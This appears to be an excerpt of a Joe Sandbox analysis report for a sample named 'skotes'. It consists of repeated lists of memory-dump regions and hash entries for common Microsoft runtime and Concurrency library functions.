Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 33410e916b34419bdf083195ce92f2ab74d291df0eaee794bb87bf4733661874
Instruction ID: c1034d018e4d5d807eece966ff2eea3c3e0240c48f0bfd06f3875702650fe5c1
Opcode Fuzzy Hash: 33410e916b34419bdf083195ce92f2ab74d291df0eaee794bb87bf4733661874
Instruction Fuzzy Hash: 0821EBB5A00119AFDF00FBA4D885DBEBBB9EF48710F1040A5FA01A7261DB349D05DBA1

Function 00B99C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00B99C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00B99CE8
std::bad_exception::bad_exception.LIBCMT ref: 00B99CFE
std::bad_exception::bad_exception.LIBCMT ref: 00B99D6A

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 772541e0a0c405436af895244e531f4407373a4e12893bf40a4faf571198f99f
Instruction ID: 6e7f328741835c4e88a06c0fdfc02318384861af381d60e1faa9ec46a2f279f5
Opcode Fuzzy Hash: 772541e0a0c405436af895244e531f4407373a4e12893bf40a4faf571198f99f
Instruction Fuzzy Hash: 51213B769046059FDF45EF68D8829ADB7E5AF05710B2040FEF011AB2A2EB716E01CB51

Function 00B9A026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00B9A069

Part of subcall function 00B9B560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00B9B5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00B9A07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00B9A0CB

Part of subcall function 00B9AB41: List.LIBCONCRT ref: 00B9AB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00B9A0DB

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 3689dd2ca53af6d3d7873a4b047552c3454cf841b556ca89f62e80e2f5887232
Instruction ID: 98a3c3c542d4f9332d2a7b077d498fdfac85d2407715115bc3dcdfdf586cc962
Opcode Fuzzy Hash: 3689dd2ca53af6d3d7873a4b047552c3454cf841b556ca89f62e80e2f5887232
Instruction Fuzzy Hash: C1219D325007149FCB25EF65D9908ABF3F9FF587007004AAEE442A7651DB74F905CBA2

Function 00B94885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00B94893
ListArray.LIBCONCRT ref: 00B948A5

Part of subcall function 00B95555: _InternalDeleteHelper.LIBCONCRT ref: 00B95564

ListArray.LIBCONCRT ref: 00B948AF
_InternalDeleteHelper.LIBCONCRT ref: 00B948C8

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: b1172bf21dd97a30167eb4809526a992360b826f18a35220b126eec2a7410936
Instruction ID: 3f5cf4dce804314c1770c64574bec035425a0ec27668f9640b6bc76170ddcb76
Opcode Fuzzy Hash: b1172bf21dd97a30167eb4809526a992360b826f18a35220b126eec2a7410936
Instruction Fuzzy Hash: 1C01D671601521AFCF267B64D8C2E6EB7EAFF4571070101B9F80497652CB60EC22C7A1

Function 00B9EE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00B9EE6A
ListArray.LIBCONCRT ref: 00B9EE7C

Part of subcall function 00B9EF29: _InternalDeleteHelper.LIBCONCRT ref: 00B9EF3B

ListArray.LIBCONCRT ref: 00B9EE86
_InternalDeleteHelper.LIBCONCRT ref: 00B9EE9F

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 4075ab196ff51531553e6c8ce2b25f820dcecd4aa52654f0a19106ba44023a87
Instruction ID: b7df99c112ff2b000958073d1cfa2c4e444e13f6afcffa9f665712374a62412e
Opcode Fuzzy Hash: 4075ab196ff51531553e6c8ce2b25f820dcecd4aa52654f0a19106ba44023a87
Instruction Fuzzy Hash: C801D631201921AFDE65BB64D8C2E7EBBE9FF4571070101BAF81497652CB20FC11C791

Function 00B9D0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00B9D0C5
ListArray.LIBCONCRT ref: 00B9D0D7

Part of subcall function 00B9C6B2: _InternalDeleteHelper.LIBCONCRT ref: 00B9C6C4

ListArray.LIBCONCRT ref: 00B9D0E1
_InternalDeleteHelper.LIBCONCRT ref: 00B9D0FA

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
